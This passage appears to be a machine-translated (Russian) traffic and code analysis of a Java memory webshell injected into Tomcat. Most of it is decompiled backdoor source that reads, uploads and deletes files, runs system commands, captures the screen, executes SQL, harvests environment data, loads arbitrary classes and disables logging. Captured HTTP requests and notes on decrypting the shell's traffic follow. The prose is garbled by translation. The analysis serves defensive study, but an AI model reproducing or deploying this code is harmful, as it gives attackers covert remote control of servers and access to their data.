} catch (ClassNotFoundException var24) { throw new NoClassDefFoundError(var24.getMessage());
} class$6 = var10005;
}
var10002[1] = var10005;
Method var15 = var9.getMethod("get", var10002);
Method var16 = var13.getMethod("fromMillis", Long.TYPE);
var10002 = new Class[]{var10, null, null};
var10005 = class$7; if (var10005 == null) { try {
var10005 = Class.forName("java.lang.Class");
} catch (ClassNotFoundException var23) { throw new NoClassDefFoundError(var23.getMessage());
} class$7 = var10005;
}
var10002[1] = var10005;
var10002[2] = var14;
Method var17 = var12.getMethod("getFileAttributeView", var10002);
Method var18 = var11.getMethod("setTimes", var13, var13, var13);
Object var19 = var15.invoke((Object)null, var3, new String[0]);
Object var20 = Array.newInstance(var14.getComponentType(), 0);
Object var21 = var17.invoke((Object)null, var19, var11, var20);
Object var22 = var16.invoke((Object)null, var29.getTime());
var18.invoke(var21, var22, var22, var22);
} catch (Throwable var26) {
}
} else {
var4 = "no ExcuteType";
}
} catch (Throwable var28) {
StringBuffer var6 = new StringBuffer();
var6.append("Exception errMsg:");
var6.append(var28.getMessage()); return var6.toString().getBytes();
}
} else {
var4 = "type or attr or fileName is empty";
} return var4.getBytes();
} public byte[] readFile() {
String var1 = this.get("fileName"); if (var1 != null) {
File var2 = new File(var1); try { if (var2.exists() && var2.isFile()) { if (var2.length() > 204800L) { return "The file is too large, please use the large file to download".getBytes();
} else { byte[] var3 = new byte[(int)var2.length()];
FileInputStream var4; if (var3.length > 0) {
var4 = new FileInputStream(var2);
var3 = this.readInputStream(var4, var3.length);
var4.close();
} else {
var3 = new byte[204800];
var4 = new FileInputStream(var2); int var5 = var4.read(var3); if (var5 > 0) {
var3 = new byte[var5];
System.arraycopy(var3, 0, var3, 0, var3.length);
}
var4.close();
} return var3;
}
} else { return "file does not exist".getBytes();
}
} catch (Exception var6) { return var6.getMessage().getBytes();
}
} else { return "No parameter fileName".getBytes();
}
} public byte[] uploadFile() {
String var1 = this.get("fileName"); byte[] var2 = this.getByteArray("fileValue"); if (var1 != null && var2 != null) { try {
File var3 = new File(var1);
var3.createNewFile();
FileOutputStream var4 = new FileOutputStream(var3);
var4.write(var2);
var4.close(); return "ok".getBytes();
} catch (Exception var5) { return var5.getMessage().getBytes();
}
} else { return "No parameter fileName and fileValue".getBytes();
}
} public byte[] newFile() {
String var1 = this.get("fileName"); if (var1 != null) {
File var2 = new File(var1); try { return var2.createNewFile() ? "ok".getBytes() : "fail".getBytes();
} catch (Exception var5) {
StringBuffer var4 = new StringBuffer();
var4.append("Exception errMsg:");
var4.append(var5.getMessage()); return var4.toString().getBytes();
}
} else { return "No parameter fileName".getBytes();
}
} public byte[] newDir() {
String var1 = this.get("dirName"); if (var1 != null) {
File var2 = new File(var1); try { return var2.mkdirs() ? "ok".getBytes() : "fail".getBytes();
} catch (Exception var5) {
StringBuffer var4 = new StringBuffer();
var4.append("Exception errMsg:");
var4.append(var5.getMessage()); return var4.toString().getBytes();
}
} else { return "No parameter fileName".getBytes();
}
} public byte[] deleteFile() {
String var1 = this.get("fileName");
String var2 = "mem://"; if (var1 != null) { if (var1.startsWith(var2)) { this.session.remove(var1); return "ok".getBytes();
} else { try {
File var3 = new File(var1); this.deleteFiles(var3); return "ok".getBytes();
} catch (Exception var5) {
StringBuffer var4 = new StringBuffer();
var4.append("Exception errMsg:");
var4.append(var5.getMessage()); return var4.toString().getBytes();
}
}
} else { return "No parameter fileName".getBytes();
}
} public byte[] moveFile() {
String var1 = this.get("srcFileName");
String var2 = this.get("destFileName"); if (var1 != null && var2 != null) {
File var3 = new File(var1); try { if (var3.exists()) { return var3.renameTo(new File(var2)) ? "ok".getBytes() : "fail".getBytes();
} else { return "The target does not exist".getBytes();
}
} catch (Exception var6) {
StringBuffer var5 = new StringBuffer();
var5.append("Exception errMsg:");
var5.append(var6.getMessage()); return var5.toString().getBytes();
}
} else { return "No parameter srcFileName,destFileName".getBytes();
}
} public byte[] copyFile() {
String var1 = this.get("srcFileName");
String var2 = this.get("destFileName"); if (var1 != null && var2 != null) {
File var3 = new File(var1);
File var4 = new File(var2); try { if (var3.exists() && var3.isFile()) {
FileInputStream var5 = new FileInputStream(var3);
FileOutputStream var6 = new FileOutputStream(var4); byte[] var7 = new byte[5120]; int var8; while((var8 = var5.read(var7)) > -1) {
var6.write(var7, 0, var8);
}
var5.close();
var6.close(); return "ok".getBytes();
} else { return "The target does not exist or is not a file".getBytes();
}
} catch (Exception var9) { return var9.getMessage().getBytes();
}
} else { return "No parameter srcFileName,destFileName".getBytes();
}
} public byte[] include() { byte[] var1 = this.getByteArray("binCode");
String var2 = this.get("codeName"); if (var1 != null && var2 != null) { try {
JacksonAnnotationIntrospector var3 = new JacksonAnnotationIntrospector(this.getClass().getClassLoader());
Class var4 = var3.defineClass(var1); this.session.put(var2, var4); return "ok".getBytes();
} catch (Exception var5) { return this.session.get(var2) != null ? "ok".getBytes() : var5.getMessage().getBytes();
}
} else { return "No parameter binCode,codeName".getBytes();
}
} public byte[] execCommand() {
String var1 = this.get("argsCount"); if (var1 != null && var1.length() > 0) { int var2 = Integer.parseInt(var1);
String[] var3 = new String[var2]; for(int var4 = 0; var4 < var3.length; ++var4) {
var3[var4] = this.get("arg-" + var4);
} try {
Process var11 = Runtime.getRuntime().exec(var3); if (var11 == null) { return "Unable to start process".getBytes();
} else {
InputStream var12 = var11.getInputStream();
InputStream var6 = var11.getErrorStream();
ByteArrayOutputStream var7 = new ByteArrayOutputStream(1024); byte[] var8 = new byte[1042]; int var9; if (var12 != null) { while((var9 = var12.read(var8)) > 0) {
var7.write(var8, 0, var9);
}
} if (var6 != null) { while((var9 = var6.read(var8)) > 0) {
var7.write(var8, 0, var9);
}
} return var7.toByteArray();
}
} catch (Exception var10) {
StringBuffer var5 = new StringBuffer();
var5.append("Exception errMsg:");
var5.append(var10.getMessage()); return var5.toString().getBytes();
}
} else { return "No parameter argsCount".getBytes();
}
} public byte[] getBasicsInfo() {
String var1 = ""; try {
Enumeration var2 = System.getProperties().keys();
var1 = var1 + "FileRoot : " + this.listFileRoot() + "\n";
var1 = var1 + "CurrentDir : " + (new File("")).getAbsoluteFile() + "/" + "\n";
var1 = var1 + "CurrentUser : " + System.getProperty("user.name") + "\n";
var1 = var1 + "ProcessArch : " + System.getProperty("sun.arch.data.model") + "\n";
String var9; try {
var9 = System.getProperty("java.io.tmpdir"); char var4 = var9.charAt(var9.length() - 1); if (var4 != '\\' && var4 != '/') {
var9 = var9 + File.separator;
}
var1 = var1 + "TempDirectory : " + var9 + "\n";
} catch (Exception var7) {
}
var1 = var1 + "RealFile : " + this.getRealPath() + "\n"; try {
var1 = var1 + "OsInfo : os.name: " + System.getProperty("os.name") + " os.version: " + System.getProperty("os.version") + " os.arch: " + System.getProperty("os.arch") + "\n";
} catch (Exception var6) {
var1 = var1 + "OsInfo : " + var6.getMessage() + "\n";
} for(var1 = var1 + "IPList : " + getLocalIPList() + "\n"; var2.hasMoreElements(); var1 = var1 + var9 + " : " + System.getProperty(var9) + "\n") {
var9 = (String)var2.nextElement();
}
Map var11 = this.getEnv();
String var10; if (var11 != null) { for(Iterator var5 = var11.keySet().iterator(); var5.hasNext(); var1 = var1 + var10 + " : " + var11.get(var10) + "\n") {
var10 = (String)var5.next();
}
} return var1.getBytes();
} catch (Exception var8) {
StringBuffer var3 = new StringBuffer();
var3.append(var1);
var3.append("Exception errMsg:");
var3.append(var8.getMessage()); return var3.toString().getBytes();
}
} public byte[] screen() { try {
Robot var1 = new Robot();
BufferedImage var6 = var1.createScreenCapture(new Rectangle(Toolkit.getDefaultToolkit().getScreenSize().width, Toolkit.getDefaultToolkit().getScreenSize().height));
ByteArrayOutputStream var3 = new ByteArrayOutputStream();
ImageIO.write(var6, "png", ImageIO.createImageOutputStream(var3)); byte[] var4 = var3.toByteArray();
var3.close(); return var4;
} catch (Throwable var5) {
StringBuffer var2 = new StringBuffer();
var2.append("Exception errMsg:");
var2.append(var5.getMessage()); return var2.toString().getBytes();
}
} public byte[] execSql() throws Exception {
String var1 = this.get("dbCharset");
String var2 = this.get("jdbcURL");
String var3 = this.get("dbDriver");
String var4 = this.get("dbUsername");
String var5 = this.get("dbPassword");
String var6 = this.get("execType"); if (var1 == null || var1.trim().length() > 0) {
var1 = "UTF-8";
}
String var7 = new String(this.getByteArray("execSql"), var1);
HashMap var8 = new HashMap(); if (var4 != null && var5 != null && var6 != null && var7 != null) { try { try { if (var3 != null) {
Class.forName(var3);
}
} catch (Throwable var30) {
} try {
Class.forName("com.microsoft.sqlserver.jdbc.SQLServerDriver");
} catch (Throwable var29) {
} try {
Class.forName("oracle.jdbc.driver.OracleDriver");
} catch (Throwable var28) { try {
Class.forName("oracle.jdbc.OracleDriver");
} catch (Throwable var27) {
}
} try {
Class.forName("com.mysql.cj.jdbc.Driver");
} catch (Throwable var26) { try {
Class.forName("com.mysql.jdbc.Driver");
} catch (Throwable var25) {
}
} try {
Class.forName("org.postgresql.Driver");
} catch (Throwable var24) {
} if (var2 != null) { try {
Connection var9 = null; try {
var9 = getConnection(var2, var4, var5);
} catch (Exception var23) {
} if (var9 == null) {
var9 = DriverManager.getConnection(var2, var4, var5);
}
Statement var10 = var9.createStatement(); if (var6.equals("select")) {
ResultSet var11 = var10.executeQuery(var7);
ResultSetMetaData var12 = var11.getMetaData(); int var13 = var12.getColumnCount();
HashMap var14 = new HashMap(); for(int var15 = 0; var15 < var13; ++var15) {
var14.put(String.valueOf(var15), var12.getColumnName(var15 + 1));
}
var14.put("count", String.valueOf(var13));
var8.put("column", var14);
HashMap var34 = new HashMap(); int var16 = 0; for(int var17 = 0; var11.next(); ++var17) {
HashMap var18 = new HashMap(); for(int var19 = 0; var19 < var13; ++var19) {
Object var20 = var11.getObject(var19 + 1);
String var21 = null; if (var20 == null) {
var21 = "NULL";
} else {
Class var10000 = class$2; if (var10000 == null) { try {
var10000 = Class.forName("[B");
} catch (ClassNotFoundException var22) { throw new NoClassDefFoundError(var22.getMessage());
} class$2 = var10000;
} if (var10000.isInstance(var20)) {
var21 = this.base64Encode((byte[])var20);
} else {
var21 = var20.toString();
}
}
var18.put(String.valueOf(var19), var21);
}
++var16;
var34.put(String.valueOf(var17), var18);
}
var34.put("count", String.valueOf(var16));
var8.put("rows", var34);
var11.close();
var10.close();
var9.close();
} else { int var33 = var10.executeUpdate(var7);
var10.close();
var9.close();
var8.put("errMsg", "Query OK, " + var33 + " rows affected");
}
} catch (Exception var31) {
var8.put("errMsg", var31.getMessage());
}
} else {
var8.put("errMsg", "This database is not supported");
}
} catch (Exception var32) {
var8.put("errMsg", var32.getMessage());
}
} else {
var8.put("errMsg", "No parameter dbType,dbHost,dbPort,dbUsername,dbPassword,execType,execSql");
} return this.serialize(var8);
} public byte[] close() { try {
String var1 = this.sessionId();
String var2 = this.get("operation"); if (var1 != null) {
Map var7 = (Map)sessionMap.remove(var1);
var7.put("alive", Boolean.FALSE); return "ok".getBytes();
} else if (var2 != null && "clearup".equals(var2)) {
Iterator var3 = sessionMap.values().iterator(); while(var3.hasNext()) {
Object var4 = var3.next();
Class var10000 = class$0; if (var10000 == null) { try {
var10000 = Class.forName("java.util.Map");
} catch (ClassNotFoundException var5) { throw new NoClassDefFoundError(var5.getMessage());
} class$0 = var10000;
} if (var10000.isInstance(var4)) {
((Map)var4).put("alive", Boolean.FALSE);
}
}
sessionMap.clear(); return "ok".getBytes();
} else { return "fail".getBytes();
}
} catch (Exception var6) { return var6.getMessage().getBytes();
}
} public byte[] bigFileUpload() {
String var1 = this.get("fileName"); byte[] var2 = this.getByteArray("fileContents");
String var3 = this.get("position");
String var4 = "mem://"; int var5 = var3 == null ? 0 : Integer.parseInt(var3);
Constructor var6 = null; try { try {
Class var10000 = class$8; if (var10000 == null) { try {
var10000 = Class.forName("java.io.RandomAccessFile");
} catch (ClassNotFoundException var11) { throw new NoClassDefFoundError(var11.getMessage());
} class$8 = var10000;
}
Class[] var10001 = new Class[2];
Class var10004 = class$3; if (var10004 == null) { try {
var10004 = Class.forName("java.lang.String");
} catch (ClassNotFoundException var10) { throw new NoClassDefFoundError(var10.getMessage());
} class$3 = var10004;
}
var10001[0] = var10004;
var10004 = class$3; if (var10004 == null) { try {
var10004 = Class.forName("java.lang.String");
} catch (ClassNotFoundException var9) { throw new NoClassDefFoundError(var9.getMessage());
} class$3 = var10004;
}
var10001[1] = var10004;
var6 = var10000.getConstructor(var10001);
} catch (NoSuchMethodException var12) {
var3 = null;
} if (var1.startsWith(var4)) { if (var5 == 0) { this.session.put(var1, new ByteArrayOutputStream());
}
ByteArrayOutputStream var7 = (ByteArrayOutputStream)this.session.get(var1);
var7.write(var2);
} else if (var3 == null) {
FileOutputStream var14 = new FileOutputStream(var1, true);
var14.write(var2);
var14.flush();
var14.close();
} else {
RandomAccessFile var15 = (RandomAccessFile)var6.newInstance(var1, "rw");
var15.seek((long)var5);
var15.write(var2);
var15.close();
} return "ok".getBytes();
} catch (Exception var13) {
StringBuffer var8 = new StringBuffer();
var8.append("Exception errMsg:");
var8.append(var13.getMessage()); return var8.toString().getBytes();
}
} public byte[] bigFileDownload() {
String var1 = this.get("fileName");
String var2 = this.get("mode");
String var3 = this.get("readByteNum");
String var4 = this.get("position");
String var5 = "mem://"; try { if ("fileSize".equals(var2)) { return String.valueOf((new File(var1)).length()).getBytes();
} else if ("read".equals(var2)) { int var6 = Integer.valueOf(var4); int var12 = Integer.valueOf(var3); byte[] var8 = new byte[var12];
Object var9 = null; if (var1.startsWith(var5)) {
var9 = (InputStream)this.session.get(var1);
} else {
var9 = new FileInputStream(var1);
}
((InputStream)var9).skip((long)var6); int var10 = ((InputStream)var9).read(var8);
((InputStream)var9).close(); return var10 == var8.length ? var8 : copyOf(var8, var10);
} else { return "no mode".getBytes();
}
} catch (Exception var11) {
StringBuffer var7 = new StringBuffer();
var7.append("Exception errMsg:");
var7.append(var11.getMessage()); return var7.toString().getBytes();
}
} public static byte[] copyOf(byte[] var0, int var1) { byte[] var2 = new byte[var1];
System.arraycopy(var0, 0, var2, 0, Math.min(var0.length, var1)); return var2;
} public Map getEnv() { try {
Class var10000 = class$9; if (var10000 == null) { try {
var10000 = Class.forName("java.lang.System");
} catch (ClassNotFoundException var1) { throw new NoClassDefFoundError(var1.getMessage());
} class$9 = var10000;
} return (Map)var10000.getMethod("getenv").invoke((Object)null);
} catch (Throwable var2) { return null;
}
} public static Connection getConnection(String var0, String var1, String var2) {
Connection var3 = null; try {
Class var10000 = class$10; if (var10000 == null) { try {
var10000 = Class.forName("java.sql.DriverManager");
} catch (ClassNotFoundException var15) { throw new NoClassDefFoundError(var15.getMessage());
} class$10 = var10000;
}
Field[] var4 = var10000.getDeclaredFields();
Field var5 = null; for(int var6 = 0; var6 < var4.length; ++var6) {
var5 = var4[var6]; if (var5.getName().indexOf("rivers") != -1) {
var10000 = class$11; if (var10000 == null) { try {
var10000 = Class.forName("java.util.List");
} catch (ClassNotFoundException var14) { throw new NoClassDefFoundError(var14.getMessage());
} class$11 = var10000;
} if (var10000.isAssignableFrom(var5.getType())) { break;
}
}
var5 = null;
} if (var5 != null) {
var5.setAccessible(true);
List var18 = (List)var5.get((Object)null);
Iterator var7 = var18.iterator(); while(var7.hasNext() && var3 == null) { try {
Object var8 = var7.next();
Driver var9 = null;
var10000 = class$12; if (var10000 == null) { try {
var10000 = Class.forName("java.sql.Driver");
} catch (ClassNotFoundException var13) { throw new NoClassDefFoundError(var13.getMessage());
} class$12 = var10000;
} if (!var10000.isAssignableFrom(var8.getClass())) {
Field[] var10 = var8.getClass().getDeclaredFields(); for(int var11 = 0; var11 < var10.length; ++var11) {
var10000 = class$12; if (var10000 == null) { try {
var10000 = Class.forName("java.sql.Driver");
} catch (ClassNotFoundException var12) { throw new NoClassDefFoundError(var12.getMessage());
} class$12 = var10000;
} if (var10000.isAssignableFrom(var10[var11].getType())) {
var10[var11].setAccessible(true);
var9 = (Driver)var10[var11].get(var8); break;
}
}
} if (var9 != null) {
Properties var19 = new Properties(); if (var1 != null) {
var19.put("user", var1);
} if (var2 != null) {
var19.put("password", var2);
}
var3 = var9.connect(var0, var19);
}
} catch (Exception var16) {
}
}
}
} catch (Exception var17) {
} return var3;
} public String sessionId() { byte[] var1 = this.getByteArray("sessionId"); return var1 != null ? new String(var1) : null;
} public static String getLocalIPList() {
ArrayList var0 = new ArrayList(); try {
Class var1 = Class.forName("java.net.NetworkInterface");
Method var2 = var1.getMethod("getNetworkInterfaces");
Method var3 = var1.getMethod("getInetAddresses");
Enumeration var4 = (Enumeration)var2.invoke((Object)null); while(var4.hasMoreElements()) {
Object var5 = var4.nextElement();
Enumeration var6 = (Enumeration)var3.invoke(var5); while(var6.hasMoreElements()) {
InetAddress var7 = (InetAddress)var6.nextElement(); if (var7 != null) {
String var8 = var7.getHostAddress();
var0.add(var8);
}
}
}
} catch (Throwable var9) {
}
Iterator var10 = var0.iterator();
StringBuffer var11 = new StringBuffer();
var11.append("["); while(var10.hasNext()) {
Object var12 = var10.next();
var11.append(var12.toString());
var11.append(",");
} if (var11.length() > 1) {
var11.deleteCharAt(var11.length() - 1);
}
var11.append("]"); return var11.toString();
} public String getRealPath() {
String var1 = (new File("")).getAbsoluteFile() + "/"; if (this.servletRequest != null) { try {
Method var2 = this.getMethodByClass(this.servletRequest.getClass(), "getServletContext", new Class[0]);
Object var3 = var2.invoke(this.servletRequest, (Object[])null); if (var3 != null) {
Class var4 = var3.getClass();
Class[] var5 = new Class[1];
Class var10002 = class$3; if (var10002 == null) { try {
var10002 = Class.forName("java.lang.String");
} catch (ClassNotFoundException var8) { throw new NoClassDefFoundError(var8.getMessage());
} class$3 = var10002;
}
var5[0] = var10002;
Method var6 = this.getMethodByClass(var4, "getRealPath", var5); if (var6 != null) {
Object var7 = var6.invoke(var3, "/"); return var7 != null ? var7.toString() : var1;
}
}
} catch (Throwable var9) {
}
} return var1;
} public void deleteFiles(File var1) throws Exception { if (var1.isDirectory()) {
File[] var2 = var1.listFiles(); for(int var3 = 0; var3 < var2.length; ++var3) {
File var4 = var2[var3]; this.deleteFiles(var4);
}
}
var1.delete();
} Object invoke(Object var1, String var2, Object[] var3) { try {
ArrayList var4 = new ArrayList(); if (var3 != null) { for(int var5 = 0; var5 < var3.length; ++var5) {
Object var6 = var3[var5]; if (var6 != null) {
var4.add(var6.getClass());
} else {
var4.add((Object)null);
}
}
}
Method var8 = this.getMethodByClass(var1.getClass(), var2, (Class[])var4.toArray(new Class[0])); return var8.invoke(var1, var3);
} catch (Exception var7) { return null;
}
} Method getMethodByClass(Class var1, String var2, Class[] var3) {
Method var4 = null; while(var1 != null) { try {
var4 = var1.getDeclaredMethod(var2, var3);
var1 = null;
} catch (Exception var5) {
var1 = var1.getSuperclass();
}
} return var4;
} public static Object getFieldValue(Object var0, String var1) throws Exception {
Field var2 = null; if (var0 instanceof Field) {
var2 = (Field)var0;
} else {
Class var3 = var0.getClass(); while(var3 != null) { try {
var2 = var3.getDeclaredField(var1);
var3 = null;
} catch (Exception var4) {
var3 = var3.getSuperclass();
}
}
}
var2.setAccessible(true); return var2.get(var0);
} private byte[] readInputStream(InputStream var1, int var2) { byte[] var3 = new byte[var2]; int var4 = 0; try { while((var4 += var1.read(var3, var4, var3.length - var4)) < var3.length) {
}
} catch (IOException var5) {
} return var3;
} public static String getRandomString(int var0) {
String var1 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
Random var2 = new Random();
StringBuffer var3 = new StringBuffer();
var3.append(var1.charAt(var2.nextInt(52)));
var1 = var1 + "0123456789"; for(int var4 = 0; var4 < var0; ++var4) { int var5 = var2.nextInt(62);
var3.append(var1.charAt(var5));
} return var3.toString();
} private void noLog(Object var1) { try {
Method var2 = this.getMethodByClass(var1.getClass(), "getServletContext", (Class[])null);
Object var3 = var2.invoke(var1, (Object[])null);
Object var4 = getFieldValue(var3, "context");
Object var5 = getFieldValue(var4, "context");
ArrayList var6; for(var6 = new ArrayList(); var5 != null; var5 = this.invoke(var5, "getParent", (Object[])null)) {
var6.add(var5);
}
label84: for(int var7 = 0; var7 < var6.size(); ++var7) { try {
Object var8 = this.invoke(var6.get(var7), "getPipeline", (Object[])null); if (var8 != null) {
Object var9 = this.invoke(var8, "getFirst", (Object[])null); while(true) { while(true) { if (var9 == null) { continue label84;
} if (this.getMethodByClass(var9.getClass(), "getCondition", (Class[])null) != null) {
Class var10001 = var9.getClass();
Class[] var10003 = new Class[1];
Class var10006 = class$3; if (var10006 == null) { try {
var10006 = Class.forName("java.lang.String");
} catch (ClassNotFoundException var14) { throw new NoClassDefFoundError(var14.getMessage());
} class$3 = var10006;
}
var10003[0] = var10006; if (this.getMethodByClass(var10001, "setCondition", var10003) != null) {
String var10 = (String)this.invoke((String)var9, "getCondition", new Object[0]);
var10 = var10 == null ? "FuckLog" : var10; this.invoke(var9, "setCondition", new Object[]{var10});
var10001 = var1.getClass();
var10003 = new Class[2];
var10006 = class$3; if (var10006 == null) { try {
var10006 = Class.forName("java.lang.String");
} catch (ClassNotFoundException var13) { throw new NoClassDefFoundError(var13.getMessage());
} class$3 = var10006;
}
var10003[0] = var10006;
var10006 = class$3; if (var10006 == null) { try {
var10006 = Class.forName("java.lang.String");
} catch (ClassNotFoundException var12) { throw new NoClassDefFoundError(var12.getMessage());
} class$3 = var10006;
}
var10003[1] = var10006;
Method var11 = this.getMethodByClass(var10001, "setAttribute", var10003);
var11.invoke(var10, var10);
var9 = this.invoke(var9, "getNext", (Object[])null); continue;
}
} if (Class.forName("org.apache.catalina.Valve", false, var4.getClass().getClassLoader()).isAssignableFrom(var9.getClass())) {
var9 = this.invoke(var9, "getNext", (Object[])null);
} else {
var9 = null;
}
}
}
}
} catch (Exception var15) {
}
}
} catch (Exception var16) {
}
} public static int bytesToInt(byte[] var0) { int var1 = var0[0] & 255 | (var0[1] & 255) << 8 | (var0[2] & 255) << 16 | (var0[3] & 255) << 24; return var1;
} public static byte[] intToBytes(int var0) { byte[] var1 = new byte[]{(byte)(var0 & 255), (byte)(var0 >> 8 & 255), (byte)(var0 >> 16 & 255), (byte)(var0 >> 24 & 255)}; return var1;
} public String base64Encode(byte[] var1) { byte var2 = 0; int var3 = var1.length; byte[] var4 = new byte[4 * ((var1.length + 2) / 3)]; byte var5 = -1; boolean var6 = true; char[] var7 = toBase64; int var8 = var2; int var9 = (var3 - var2) / 3 * 3; int var10 = var2 + var9; if (var5 > 0 && var9 > var5 / 4 * 3) {
var9 = var5 / 4 * 3;
} int var11; int var12; int var13; for(var11 = 0; var8 < var10; var8 = var12) {
var12 = Math.min(var8 + var9, var10);
var13 = var8; int var15; for(int var14 = var11; var13 < var12; var4[var14++] = (byte)var7[var15 & 63]) {
var15 = (var1[var13++] & 255) << 16 | (var1[var13++] & 255) << 8 | var1[var13++] & 255;
var4[var14++] = (byte)var7[var15 >>> 18 & 63];
var4[var14++] = (byte)var7[var15 >>> 12 & 63];
var4[var14++] = (byte)var7[var15 >>> 6 & 63];
}
var13 = (var12 - var8) / 3 * 4;
var11 += var13;
} if (var8 < var3) {
var12 = var1[var8++] & 255;
var4[var11++] = (byte)var7[var12 >> 2]; if (var8 == var3) {
var4[var11++] = (byte)var7[var12 << 4 & 63]; if (var6) {
var4[var11++] = 61;
var4[var11++] = 61;
}
} else {
var13 = var1[var8++] & 255;
var4[var11++] = (byte)var7[var12 << 4 & 63 | var13 >> 4];
var4[var11++] = (byte)var7[var13 << 2 & 63]; if (var6) {
var4[var11++] = 61;
}
}
} return new String(var4);
}
}
Мы вошли в память лошади, как указано выше, но ничего не произошло.
Пробуем переключить tomcat на парсинг
Анализ Tomcat сообщит об ошибке, а два jar-пакета отсутствуют.
Возврат данных
POST /ncupload/config.jsp HTTP/1.1Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Connection: close
Cookie: JSESSIONID=A891C7D63F7AA47F7BB3B7089E134B55.server
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host:
Content-Length: 208{"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"26426ac13be6e1b58c69fd371bac6de05031411e180aefaba292f681d82e4080931feb534693d2267c5d1940e676a29e"}HTTP/1.1 200 OK
Server: Apache-Coyote/1.1X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Type: application/json;charset=UTF-8Content-Length: 290Date: Mon, 25 Jul 2022 11:16:23 GMT
Connection: close
{"code":0,"data":{"suggestItems":[],"global":"e1JTQX0pZ0aeP7q4n2hcmkzSNR3IziwHfy4+8Q7p37h/TbEBuDTY/h8uggW9zZaqXH9R9/m1YziyH","exData":{"api_flow01":"0","api_flow02":"0","api_flow03":"1","api_flow04":"0","api_flow05":"0","api_flow06":"0","api_flow07":"0","api_tag":"2","local_cityid":"-1"}}}
В это время мы обнаружили, что Возврат данных невозможно расшифровать.
поток2POST /web_war_exploded/config.jsp HTTP/1.1Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Connection: close
Cookie: JSESSIONID=9591F786236B86A2FD02F136EDA38C6B.server
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host: 127.0.0.1:8080Content-Length: 208{"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"26426ac13be6e1b58c69fd371bac6de05031411e180aefaba292f681d82e4080931feb534693d2267c5d1940e676a29e"}
HTTP/1.1 200 Set-Cookie: JSESSIONID=D13E378AB0CFF03E93024BD85D16A115; Path=/web_war_exploded; HttpOnly
Content-Type: application/json;charset=UTF-8Content-Length: 290Date: Sun, 31 Jul 2022 09:36:35 GMT
Connection: close
{"code":0,"data":{"suggestItems":[],"global":"e1JTQX0pZ0aeP7q4n2hcmkzSNR3IziwHfy4+8Q7p3LqSQ62BTyUngI/DkW9Tp3quXH4sRpwFYziyH","exData":{"api_flow01":"0","api_flow02":"0","api_flow03":"1","api_flow04":"0","api_flow05":"0","api_flow06":"0","api_flow07":"0","api_tag":"2","local_cityid":"-1"}}}
Завершен первый пакет данных в Малайзии.
Данные, которые мы отправляем,
6D6574686F644E616D65020400000074657374
Пытаемся расшифровать возвращенные данные
Локально воспроизведенный обратный пакет соответствует сообщению.
Давайте еще раз посмотрим на наших лошадей,
Данные сервера =》xor =》 base =》Трафик
поток =》 base =》xor => Получить данные
После внедрения нам не удалось декодировать данные возвращенного пакета.
Нажимаем на таблицу и расшифруем ее позже.
Мы пошли проверить введенную память и обнаружили, что существуют GZIP и десериализация.
Тоесть сказал, давайте ещё раз экстраполируем
Данные сервера =》xor =》 base =》Трафик
поток =》 base =》xor => Получить данные
стал
Данные сервера =》GZIP =》xor =》 base =》Трафик
поток =》 base =》xor =》Gzip=> Получить данные
После дальнейшего анализа оригинальной лошади мы обнаружили, что упустили некоторые детали.
{"code":0,"data":{"suggestItems":[],"global":"e1JTQX0pZ
Первая половина склейки выглядит так, что приводит к расшифровке {RSA}.
После того как мы удалим предыдущее воздействие, мы расшифровываем последующий трафик
Успешно расшифровать возвращенный трафик
sessionMap используется для хранения нескольких сеансов, что указывает на то, что эта система является инструментом для совместного использования несколькими людьми, и сеанс каждого человека различен.
ПараметрMap используется для хранения переданных параметров
Другие также как показано на картинке
слушатель-самоанализ
public byte[] run() {//запустить функцию
try {//Первый параметр — evalClassName, То есть Параметры нашей команды, второй - имя_метода, который также является методом, который мы выполняем.
String var1 = this.get("evalClassName"); String var20 = this.get("methodName"); // Если метод пуст, он предложит
if (var20 == null) { return "Method is empty".getBytes();
} else { Object var21 = null; if (var1 != null) { //var4 Это вредоносный модуль со своей собственной функцией.
Class var4 = (Class)this.session.get(var1); if (var4 == null) { return "Plugin module not loaded".getBytes();
} //Карта параметров, объединение sessionTable и servletRequest Депозит
this.parameterMap.put("sessionTable", this.session);
this.parameterMap.put("servletRequest", this.servletRequest);
var21 = var4.newInstance();
}//Ниже приведен вызывающий класс и параметры:
Method var23 = null; boolean var5 = var21 != null;//Существует ли экземпляр объекта, судя по var5
Class var6 = var5 ? var21.getClass() : this.getClass(); var21 = var5 ? var21 : this;
//функция getByteArray выглядит следующим образом byte[] var7 = this.getByteArray("invokeMethod"); Class[] var8 = new Class[1];//создание экземпляра класса Object[] var9 = new Object[]{var21}; if (var7 != null || !var5) { try {
var8[0] = Map.class;
var23 = var6.getMethod(var20, var8);
} catch (NoSuchMethodException var18) { try {
var8[0] = Dictionary.class;
var23 = var6.getMethod(var20, var8);
} catch (NoSuchMethodException var16) { try {
var8 = new Class[0]; var9 = new Object[0]; var23 = var6.getMethod(var20, var8);
} catch (NoSuchMethodException var14) { return "No Such Method".getBytes();
}
}
}
} Object var10 = null; if (var23 != null) {
var10 = var23.invoke(var21, var9);
} else { //функция «equals» была переписана, см. ниже
//функция toString также была переписана, см. ниже
var21.equals(this.parameterMap);
var21.toString();
var10 = this.parameterMap.get("result");
} if (byte[].class.isInstance(var10)) { return (byte[])var10;
} else if (String.class.isInstance(var10)) { return ((String)var10).getBytes();
} else { return Map.class.isInstance(var10) ? this.serialize((Map)var10) : "Incorrect return type".getBytes();
}
}
} catch (Throwable var19) {
ByteArrayOutputStream var2 = new ByteArrayOutputStream();
